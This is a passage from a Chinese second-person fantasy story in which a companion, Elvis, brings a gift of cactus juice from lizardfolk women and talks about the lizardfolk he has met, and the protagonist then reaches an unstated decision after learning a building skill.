你发觉他们的生命和沙民一样鲜活。
晚间你蜷缩在床脚思索着,埃尔维斯推门进来,手里抱着一个蜥蜴人妇女身边常见的陶罐:“这是吉万送过来的,附近的蜥蜴人妇女们为你凑出来的仙人掌汁,吉万说味道很不错。”
见你蹙眉的样子,埃尔维斯放下罐子,轻声问道:“您有心事吗?”
你望过去,埃尔维斯双手紧紧交握在身前,棕色的眸子里闪烁着担忧。
你摆摆手:“我只是,有一些疑惑。”
“您可以告诉我,虽然我可能无法为您解答,但我愿意分担您所有的情绪,无论好坏。”他坐在你的床边,捋了捋皱成一团的兽皮床单,声音温和。
不知为何,你特别想有一个人来倾听:“埃尔维斯,你觉得蜥蜴人们怎么样?”
“怎么样?”他有些惊讶,似乎没想过你会问这样的问题,但沉吟了一会儿,还是回答道,“您问得很宽泛,我不知道该如何回答,因为我同大多数蜥蜴人都不熟悉。但我认识了吉万,他为人很热情,今天带我见了不少人,原来他和那位阿尔哈雅杜在一起工作,扶养失去双亲的孤儿们,那天给您食物的阿郁也在那里,那孩子一直在吃东西,很少和人交流,难怪吉万会说她格外喜欢您。”
他看见你探究的目光,很快又收敛快乐起来的心情:“很抱歉,我不自己就说了这么多琐事,我只是在想,如果吉万和我成长在一个地方,我或许能跟他成为很好的朋友。”
你能读懂他的言外之意。
蜥蜴人混乱不堪的街道景象,黑堡城门口耸立的黑白两座巨大雕像,宴会上粗糙陶罐里装满的生肉,取水的妇人们脸上洋溢的笑容,还有那个晚上为你和埃尔维斯敞开的大门,这些景象连同卡威铎的那句话一起,一起在你脑海中走马灯似的反复放映。
看着个人信息节目显示“已学习”的[建造之法],你最终还是做出了决定。